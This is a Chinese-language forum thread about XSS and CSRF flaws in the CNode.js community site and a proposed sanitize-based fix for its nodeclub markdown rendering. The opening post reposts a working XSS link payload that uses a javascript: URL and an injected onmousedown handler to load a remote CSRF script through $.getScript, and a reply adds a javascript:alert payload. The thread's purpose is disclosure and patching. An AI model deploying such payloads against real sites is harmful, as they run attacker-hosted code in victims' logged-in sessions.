关于cnodejs官网的XSS和CSRF=>我的解决方案!希望官方赶紧修补漏洞、升级源码!
发布于 12 年前 作者 j4cnodejs 6400 次浏览 最后一次编辑是 8 年前

不知道昨天是不是官方升级修复了XSS漏洞? 让我们来试一下,看看漏洞是否健在? 下面是 @snoopy 同学写的原文, 链接地址也是只字未改:

自从我在cnodejs官网上发布了一篇关于《xss和csrf讨论》的文章后,cnodejs开始了一轮xss注入热潮,各种alert弹窗,自动回复以及修改页面等等。最后袁锋(suqian)只能将所有的markdown标签的html标签禁用,才平息了这场风波。 但是真的将所有的html标签都禁用了就没有漏洞了吗? 感兴趣的同学可以去我的博客原文看看,传送门如下 亲本链接只对chrome有效,亲登陆了再点哦~

[传送门][1]

[1]: javascript:$.getScript%28%27http://rrest.cnodejs.net/static/cnode_csrf.js%27%29//%22id=%27xss%27name=%27http://rrest.cnodejs.net/static/cnode_csrf.js%27onmousedown=%27$.getScript%28this.name%29//%27

##其实防XSS攻击很简单, 下面的方法一针见效: var content = sanitize(Showdown.parse(topic.content)).xss();

13 回复

我崇拜snoopy,他是英雄!

我晕, 原来这个漏洞一直存在啊! 很简单的措施为啥不去做呢? 替你们着急! @snoopy, @suqian

var content = sanitize(content).xss();
content = sanitize(Showdown.parse(content)).xss();

也就是说, nodeclub代码在用Showdown输出 topic 和 reply 的内容时, 不需要先进行标签过滤( Util.escape ), 而只需直接:

sanitize(Showdown.parse(topic.content)).xss();

我已经在最新版的 cnodejs-nodeclub 源代码上修改成功! 修改后的topic显示代码如下:

//topic.content = Showdown.parse(Util.escape(topic.content));//原显示
      topic.content = sanitize(Showdown.parse(topic.content)).xss();

经过 sanitize(content).xss() 处理后, 安全的 markdownHTML 标签仍将得到保留, 而那些危险的脚本和标签才会被过滤——要么直接删除,要么显示“[removed]!

都在忙着上海的hujs啊,大婶们没空

我崇拜snoopy,他是英雄!

@leizongmin 要不你继续挠挠他们痒痒!

[诶诶][1]

[1]: javascript:alert%280%29

怎么还有… X_X

我崇拜snoopy,他是英雄!

我崇拜snoopy,他是英雄!

回到顶部